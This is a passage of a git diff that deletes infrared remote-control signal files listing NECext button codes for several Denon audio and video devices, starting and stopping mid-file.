-protocol: NECext -address: 08 00 00 00 -command: 8E 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 8F 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 90 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 91 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 92 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 92 00 00 00 -# -name: REAPEAT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 94 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 94 00 00 00 -# -name: SKIP_+ -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 98 00 00 00 -# -name: SKIP_FORWARD -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 98 00 00 00 -# -name: SKIP>> -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 98 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 98 00 00 00 -# -name: NEXT_TRACK -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 98 00 00 00 -# -name: SKIP_>>I -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 98 00 00 00 -# -name: FRAME_>> -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 98 00 00 00 -# -name: SKIP>>I -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 98 00 00 00 -# -name: TRACK_>> -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 98 00 00 00 -# -name: SKIP_- -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 99 00 00 00 -# -name: SKIP_REVERSE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 99 00 00 00 -# -name: SKIP<< -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 99 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 99 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 99 00 00 00 -# -name: PREVIOUS_TRACK -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 99 00 00 00 -# -name: SKIP_I<< -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 99 00 00 00 -# -name: FRAME_<< -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 99 00 00 00 -# -name: I< -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 9A 00 00 00 -# -name: PREVIOUS -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 9A 00 00 00 -# -name: SHUTTLE_FORWARD -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 9A 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 9A 00 00 00 -# -name: SEARCH_>>_SLOW -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 9A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 9A 00 00 00 -# -name: SLOW_MOTION_+ -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 9A 00 00 00 -# -name: >> -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 9A 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 9A 00 00 00 -# -name: FRAME_>> -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 9A 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 9A 00 00 00 -# -name: SLOW>> -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 9A 00 00 00 -# -name: >>> -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 9A 00 00 00 -# -name: FWD -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 9A 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 9A 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 9B 00 00 00 -# -name: SLOW/FAST_REVERSE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 9B 00 00 00 -# -name: SLOW< -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 9B 00 00 00 -# -name: SHUTTLE_REVERSE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 9B 00 00 00 -# -name: SLOW/FAST_FORWARD -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 9B 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 9B 00 00 00 -# -name: SEARCH_<<_SLOW -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 9B 00 00 00 -# -name: SLOW_MOTION_- -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 9B 00 00 00 -# -name: << -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 9B 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 9B 00 00 00 -# -name: FRAME_<< -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 9B 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 9B 00 00 00 -# -name: < -type: parsed -protocol: NECext -address: 08 00 00 00 -command: A0 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: A1 00 00 00 -# -name: PROGRAM/DIRECT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: A2 00 00 00 -# -name: PROG/DIR. -type: parsed -protocol: NECext -address: 08 00 00 00 -command: A2 00 00 00 -# -name: PROG/DIRECT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: A2 00 00 00 -# -name: PROG/DIR -type: parsed -protocol: NECext -address: 08 00 00 00 -command: A2 00 00 00 -# -name: PROGRAM/DIR -type: parsed -protocol: NECext -address: 08 00 00 00 -command: A2 00 00 00 -# -name: PROG./DIRECT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: A2 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 08 00 00 00 -command: A3 00 00 00 -# -name: DISC_1 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: A4 00 00 00 -# -name: DISC_2 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: A5 00 00 00 -# -name: DISC_3 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: A6 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 08 00 00 00 -command: A7 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 08 00 00 00 -command: A7 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 08 00 00 00 -command: A7 00 00 00 -# -name: DISC_4 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: A8 00 00 00 -# -name: DISC_5 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: A9 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 08 00 00 00 -command: A9 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 08 00 00 00 -command: AA 00 00 00 -# -name: DISC_SKIP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: AB 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: AC 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: AC 00 00 00 -# -name: C-UP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: AC 00 00 00 -# -name: MENU_UP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: AC 00 00 00 -# -name: CURSER_UP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: AC 00 00 00 -# -name: C_UP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: AC 00 00 00 -# -name: UP_ARROW -type: parsed -protocol: NECext -address: 08 00 00 00 -command: AC 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: AD 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: AD 00 00 00 -# -name: CURSOR_DN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: AD 00 00 00 -# -name: C-DOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: AD 00 00 00 -# -name: MENU_DOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: AD 00 00 00 -# -name: CURSER_DN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: AD 00 00 00 -# -name: C_DN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: AD 00 00 00 -# -name: DN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: AD 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 08 00 00 00 -command: AD 00 00 00 -# -name: DOWN_ARROW -type: parsed -protocol: NECext -address: 08 00 00 00 -command: AD 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: AE 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: AE 00 00 00 -# -name: CURSOR_RT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: AE 00 00 00 -# -name: C-RT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: AE 00 00 00 -# -name: MENU_RIGHT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: AE 00 00 00 -# -name: CURSER_RT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: AE 00 00 00 -# -name: C_RT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: AE 00 00 00 -# -name: RIGHT_ARROW -type: parsed -protocol: NECext -address: 08 00 00 00 -command: AE 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: AF 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: AF 00 00 00 -# -name: CURSOR_LF -type: parsed -protocol: NECext -address: 08 00 00 00 -command: AF 00 00 00 -# -name: C-LF -type: parsed -protocol: NECext -address: 08 00 00 00 -command: AF 00 00 00 -# -name: MENU_LEFT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: AF 00 00 00 -# -name: CURSER_LEFT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: AF 00 00 00 -# -name: C_LF -type: parsed -protocol: NECext -address: 08 00 00 00 -command: AF 00 00 00 -# -name: LEFT_ARROW -type: parsed -protocol: NECext -address: 08 00 00 00 -command: AF 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 08 00 00 00 -command: B1 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 08 00 00 00 -command: B1 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: B1 00 00 00 -# -name: DVD_ON -type: parsed -protocol: NECext -address: 08 00 00 00 -command: B1 00 00 00 -# -name: SRS.TS -type: parsed -protocol: NECext -address: 08 00 00 00 -command: B6 00 00 00 -# -name: V.S.S. -type: parsed -protocol: NECext -address: 08 00 00 00 -command: B6 00 00 00 -# -name: SRS_TS -type: parsed -protocol: NECext -address: 08 00 00 00 -command: B6 00 00 00 -# -name: VIRTUAL -type: parsed -protocol: NECext -address: 08 00 00 00 -command: B6 00 00 00 -# -name: V.S.S -type: parsed -protocol: NECext -address: 08 00 00 00 -command: B6 00 00 00 -# -name: NTSC/PAL -type: parsed -protocol: NECext -address: 08 00 00 00 -command: B7 00 00 00 -# -name: MARKER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: B9 00 00 00 -# -name: A-B_REPEAT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: BA 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 08 00 00 00 -command: BA 00 00 00 -# -name: REPEAT_A-B -type: parsed -protocol: NECext -address: 08 00 00 00 -command: BA 00 00 00 -# -name: SIDE_A/B -type: parsed -protocol: NECext -address: 08 00 00 00 -command: BA 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: BB 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: BB 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: BB 00 00 00 -# -name: CURSOR_SELECT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: BB 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: BC 00 00 00 -# -name: SET_UP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: BC 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 08 00 00 00 -command: BC 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 08 00 00 00 -command: BC 00 00 00 -# -name: TOP_MENU -type: parsed -protocol: NECext -address: 08 00 00 00 -command: BD 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: BD 00 00 00 -# -name: TOP_MENNU -type: parsed -protocol: NECext -address: 08 00 00 00 -command: BD 00 00 00 -# -name: TEST_RETURN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: BD 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: BD 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 08 00 00 00 -command: BD 00 00 00 -# -name: CALL -type: parsed -protocol: NECext -address: 08 00 00 00 -command: BE 00 00 00 -# -name: FL_DISPLAY -type: parsed -protocol: NECext -address: 08 00 00 00 -command: BF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Laser Disc/168,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Laser Disc/168,-1.ir deleted file mode 100644 index 47a752468..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Laser Disc/168,-1.ir +++ /dev/null @@ -1,266 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 09 00 00 00 -# -name: D/A.CX -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 0C 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 10 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 11 00 00 00 -# -name: CHAPTER/FRAME_TIME -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 13 00 00 00 -# -name: STOP/EJECT_[] -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 16 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 17 00 00 00 -# -name: PAUSE_ -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 18 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 1C 00 00 00 -# -name: EDIT -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 1D 00 00 00 -# -name: AUDIO_MONITOR -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 1E 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 1F 00 00 00 -# -name: JOG_FORWARD_+ -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 20 00 00 00 -# -name: JOG_REVERSE_- -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 24 00 00 00 -# -name: SHUT.FWD(FULL_SP) -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 2B 00 00 00 -# -name: SHUT.REV(FULL_SP) -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 2F 00 00 00 -# -name: D-LEVEL_CONTROL -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 37 00 00 00 -# -name: ON_SCREEN -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 43 00 00 00 -# -name: REPEAT_B -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 44 00 00 00 -# -name: C_(CLEAR) -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 45 00 00 00 -# -name: MULTI_SPEED_- -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 46 00 00 00 -# -name: MULTI_SPEED_+ -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 47 00 00 00 -# -name: REPEAT_A -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 48 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 4C 00 00 00 -# -name: DISC_SIDE_A -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 4D 00 00 00 -# -name: DISC_SIDE_B -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 4E 00 00 00 -# -name: STILL/STEP_< -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 50 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 52 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 53 00 00 00 -# -name: STILL/STEP_> -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 54 00 00 00 -# -name: MULTI_SPEED_< -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 55 00 00 00 -# -name: MULTI_SPEED_> -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 58 00 00 00 -# -name: HILITE/INTRO -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 5A 00 00 00 -# -name: STROBE -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 5B 00 00 00 -# -name: ONE_SHOT_MEMORY -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Mini-Disc/6,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Mini-Disc/6,-1.ir deleted file mode 100644 index 21583ffc8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Mini-Disc/6,-1.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: C1 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: C2 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: C3 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: C4 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: C5 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: C6 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: C7 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: C8 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: C9 00 00 00 -# -name: 10 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: CA 00 00 00 -# -name: MEMORY_REC -type: parsed -protocol: NECext -address: 06 00 00 00 -command: D1 00 00 00 -# -name: SYNCHRO_REC -type: parsed -protocol: NECext -address: 06 00 00 00 -command: D2 00 00 00 -# -name: CHARACTER -type: parsed -protocol: NECext -address: 06 00 00 00 -command: DD 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 06 00 00 00 -command: DE 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 06 00 00 00 -command: DF 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 06 00 00 00 -command: E0 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 06 00 00 00 -command: E1 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 06 00 00 00 -command: E2 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 06 00 00 00 -command: E3 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 06 00 00 00 -command: E5 00 00 00 -# -name: EJECT -type: parsed -protocol: NECext -address: 06 00 00 00 -command: E6 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: E8 00 00 00 -# -name: >>I -type: parsed -protocol: NECext -address: 06 00 00 00 -command: E9 00 00 00 -# -name: I<< -type: parsed -protocol: NECext -address: 06 00 00 00 -command: EA 00 00 00 -# -name: >> -type: parsed -protocol: NECext -address: 06 00 00 00 -command: EB 00 00 00 -# -name: << -type: parsed -protocol: NECext -address: 06 00 00 00 -command: EC 00 00 00 -# -name: EDIT -type: parsed -protocol: NECext -address: 06 00 00 00 -command: EF 00 00 00 -# -name: PROG/DIRECT -type: parsed -protocol: NECext -address: 06 00 00 00 -command: F0 00 00 00 -# -name: REPEAT_1/ALL -type: parsed -protocol: NECext -address: 06 00 00 00 -command: F1 00 00 00 -# -name: REPEAT_A-B -type: parsed -protocol: NECext -address: 06 00 00 00 -command: F2 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 06 00 00 00 -command: F3 00 00 00 -# -name: TIME -type: parsed -protocol: NECext -address: 06 00 00 00 -command: F4 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 06 00 00 00 -command: F5 00 00 00 -# -name: CALL -type: parsed -protocol: NECext -address: 06 00 00 00 -command: F6 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Pre-Amplifier/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Pre-Amplifier/12,-1.ir deleted file mode 100644 index db92ace4c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Pre-Amplifier/12,-1.ir +++ /dev/null @@ -1,80 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: DIGITAL_DBS/BS -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 83 00 00 00 -# -name: DIGITAL_VDP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 84 00 00 00 -# -name: DIGITAL_CD -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 85 00 00 00 -# -name: DIGITAL_DAT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 86 00 00 00 -# -name: TUNER_CH_V -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: D5 00 00 00 -# -name: TUNER_CH_^ -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: D6 00 00 00 -# -name: TUNER_BAND -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: D7 00 00 00 -# -name: TUNER_AT/MANU -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: D8 00 00 00 -# -name: TUNER_TUNE_^ -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: D9 00 00 00 -# -name: TUNER_TUNE_V -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: DA 00 00 00 -# -name: TUNER_RF -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: DB 00 00 00 -# -name: TUNER_P.SCAN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: DC 00 00 00 -# -name: TUNER_POWER -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: DD 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Pre-Amplifier/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Pre-Amplifier/2,-1.ir deleted file mode 100644 index 0463d5f36..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Pre-Amplifier/2,-1.ir +++ /dev/null @@ -1,86 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CD -type: parsed -protocol: NECext -address: 02 00 00 00 -command: C4 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: C5 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: 02 00 00 00 -command: C6 00 00 00 -# -name: DBS/BS -type: parsed -protocol: NECext -address: 02 00 00 00 -command: C8 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 02 00 00 00 -command: C9 00 00 00 -# -name: VDP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: CA 00 00 00 -# -name: V.AUX -type: parsed -protocol: NECext -address: 02 00 00 00 -command: CC 00 00 00 -# -name: VCR-1 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: CD 00 00 00 -# -name: VCR-2 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: CE 00 00 00 -# -name: TAPE-1 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: D2 00 00 00 -# -name: DAT/TAPE-2 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: D3 00 00 00 -# -name: MUTING -type: parsed -protocol: NECext -address: 02 00 00 00 -command: F0 00 00 00 -# -name: MASTER_^ -type: parsed -protocol: NECext -address: 02 00 00 00 -command: F1 00 00 00 -# -name: MASTER_V -type: parsed -protocol: NECext -address: 02 00 00 00 -command: F2 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Processor/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Processor/12,-1.ir deleted file mode 100644 index eb78678ce..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Processor/12,-1.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: LEFT_ARROW -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 7F 00 00 00 -# -name: DBS_ZONE_2 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 8A 00 00 00 -# -name: ZN2_VOL_UP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 8D 00 00 00 -# -name: ZONE_2_VOL_+ -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 8D 00 00 00 -# -name: ZONE_2_VOL_DOWN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 8E 00 00 00 -# -name: ZONE_2_VOL_- -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 8E 00 00 00 -# -name: PHONO_ZONE_2 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 8F 00 00 00 -# -name: SOURCE_TOGGLE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 90 00 00 00 -# -name: ZONE_2_CD -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 90 00 00 00 -# -name: ZONE_2_IPOD -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 90 00 00 00 -# -name: CD_ZONE_2 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 90 00 00 00 -# -name: TUNER_ZONE_2 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 91 00 00 00 -# -name: VDP_ZONE_2 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 92 00 00 00 -# -name: ZONE2_MUSICSERVER -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 93 00 00 00 -# -name: V_AUX_ZONE_2 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 93 00 00 00 -# -name: VCR_1_ZONE_2 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 94 00 00 00 -# -name: VCR2_ZONE_2 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 99 00 00 00 -# -name: TV_ZONE_2 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 9B 00 00 00 -# -name: TAPE_ZONE_2 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 9C 00 00 00 -# -name: SURR_STEREO -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 9D 00 00 00 -# -name: SURR_DIRECT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 9E 00 00 00 -# -name: SYSTEM_SETUP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: A0 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: A0 00 00 00 -# -name: SURR_PARAMETER -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: A1 00 00 00 -# -name: SEARCH_PARAMETER -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: A1 00 00 00 -# -name: UP_ARROW -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: A3 00 00 00 -# -name: DOWN_ARROW -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: A4 00 00 00 -# -name: SURR_5CH/7CH_STEREO -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: A8 00 00 00 -# -name: 7_CHANNEL -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: A8 00 00 00 -# -name: VIDEO_OFF -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: B2 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: B6 00 00 00 -# -name: ZONE_2_DVD -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: BE 00 00 00 -# -name: DVD_ZONE_2 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: BE 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: D8 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Processor/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Processor/2,-1.ir 